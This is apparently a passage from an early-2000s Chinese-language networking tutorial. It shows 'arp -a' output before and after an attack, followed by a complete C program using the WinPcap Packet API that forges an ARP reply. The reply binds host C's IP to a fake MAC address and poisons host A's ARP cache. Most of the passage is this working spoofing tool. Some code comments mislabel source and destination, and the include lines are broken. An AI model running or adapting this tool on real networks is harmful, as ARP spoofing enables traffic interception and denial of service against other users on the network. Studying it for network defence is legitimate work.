C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic   

     
C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic   

     
///////////////////////////////////////////////////////
//
//                ARP Sender
//
//           Creator:    Refdom
//           Email:      refdom@263.net
//           Home Page:  www.opengram.com
//
//           2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h"
//GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了
#include 
#include 

#define EPT_IP0x0800/* type: IP*/
#define EPT_ARP0x0806/* type: ARP */
#define EPT_RARP0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */
#defineARP_REQUEST0x0001/* ARP request */
#defineARP_REPLY0x0002/* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr 
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* ARP/RARP operation */

unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR*temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0') 
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一个网卡（假设啦）

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。（A的地址）

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
  printf("warning: Unable to send more than one packet in 
           a single write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}

printf ("Send ok!\n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}